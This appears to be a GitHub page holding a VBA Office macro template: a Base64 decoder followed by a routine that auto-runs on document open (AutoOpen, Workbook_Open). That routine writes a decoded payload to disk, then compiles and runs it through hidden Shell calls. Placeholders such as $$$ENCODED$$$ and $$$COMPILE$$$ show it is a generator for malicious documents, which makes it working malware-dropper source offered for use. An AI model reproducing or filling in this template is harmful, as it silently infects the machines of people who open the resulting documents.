tools/macrotemplate at master · fullmetalcache/tools · GitHub

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Option Explicit

Public Const clOneMask = 16515072          '000000 111111 111111 111111
Public Const clTwoMask = 258048            '111111 000000 111111 111111
Public Const clThreeMask = 4032            '111111 111111 000000 111111
Public Const clFourMask = 63               '111111 111111 111111 000000

Public Const clHighMask = 16711680         '11111111 00000000 00000000
Public Const clMidMask = 65280             '00000000 11111111 00000000
Public Const clLowMask = 255               '00000000 00000000 11111111

Public Const cl2Exp18 = 262144             '2 to the 18th power
Public Const cl2Exp12 = 4096               '2 to the 12th
Public Const cl2Exp6 = 64                  '2 to the 6th
Public Const cl2Exp8 = 256                 '2 to the 8th
Public Const cl2Exp16 = 65536              '2 to the 16th

Public Function Decode64(sString As String) As String

    Dim bOut() As Byte, bIn() As Byte, bTrans(255) As Byte, lPowers6(63) As Long, lPowers12(63) As Long
    Dim lPowers18(63) As Long, lQuad As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String
    Dim lTemp As Long

    sString = Replace(sString, vbCr, vbNullString)      'Get rid of the vbCrLfs.  These could be in...
    sString = Replace(sString, vbLf, vbNullString)      'either order.

    lTemp = Len(sString) Mod 4                          'Test for valid input.
    If lTemp Then
        Call Err.Raise(vbObjectError, "MyDecode", "Input string is not valid Base64.")
    End If

    If InStrRev(sString, "==") Then                     'InStrRev is faster when you know it's at the end.
        iPad = 2                                        'Note:  These translate to 0, so you can leave them...
    ElseIf InStrRev(sString, "=") Then                  'in the string and just resize the output.
        iPad = 1
    End If

    For lTemp = 0 To 255                                'Fill the translation table.
        Select Case lTemp
            Case 65 To 90
                bTrans(lTemp) = lTemp - 65              'A - Z
            Case 97 To 122
                bTrans(lTemp) = lTemp - 71              'a - z
            Case 48 To 57
                bTrans(lTemp) = lTemp + 4               '1 - 0
            Case 43
                bTrans(lTemp) = 62                      'Chr(43) = "+"
            Case 47
                bTrans(lTemp) = 63                      'Chr(47) = "/"
        End Select
    Next lTemp

    For lTemp = 0 To 63                                 'Fill the 2^6, 2^12, and 2^18 lookup tables.
        lPowers6(lTemp) = lTemp * cl2Exp6
        lPowers12(lTemp) = lTemp * cl2Exp12
        lPowers18(lTemp) = lTemp * cl2Exp18
    Next lTemp

    bIn = StrConv(sString, vbFromUnicode)               'Load the input byte array.
    ReDim bOut((((UBound(bIn) + 1) \ 4) * 3) - 1)       'Prepare the output buffer.

    For lChar = 0 To UBound(bIn) Step 4
        lQuad = lPowers18(bTrans(bIn(lChar))) + lPowers12(bTrans(bIn(lChar + 1))) + _
                lPowers6(bTrans(bIn(lChar + 2))) + bTrans(bIn(lChar + 3))           'Rebuild the bits.
        lTemp = lQuad And clHighMask                    'Mask for the first byte
        bOut(lPos) = lTemp \ cl2Exp16                   'Shift it down
        lTemp = lQuad And clMidMask                     'Mask for the second byte
        bOut(lPos + 1) = lTemp \ cl2Exp8                'Shift it down
        bOut(lPos + 2) = lQuad And clLowMask            'Mask for the third byte
        lPos = lPos + 3
    Next lChar

    sOut = StrConv(bOut, vbUnicode)                     'Convert back to a string.
    If iPad Then sOut = Left$(sOut, Len(sOut) - iPad)   'Chop off any extra bytes.
    Decode64 = sOut

End Function

$$$SUBCAT$$$

Sub iDn()
    Dim myFso As Object
    Set myFso = CreateObject("Scripting.FileSystemObject")
    Dim fileName
    $$$FILENAME$$$
    Dim oFile As Object
    Set oFile = myFso.CreateTextFile(fileName)
    Dim enc As String
    enc = ""
    $$$ENCODED$$$
    oFile.Write Decode64(enc)
    oFile.Close
    Dim compCmd
    $$$COMPILE$$$
    Call Shell(compCmd, vbHide)
    Dim runCmd
    $$$RUN$$$
    Call Shell(runCmd, vbHide)
End Sub
Sub AutoOpen()
  iDn
End Sub
Sub Workbook_Open()
  iDn
End Sub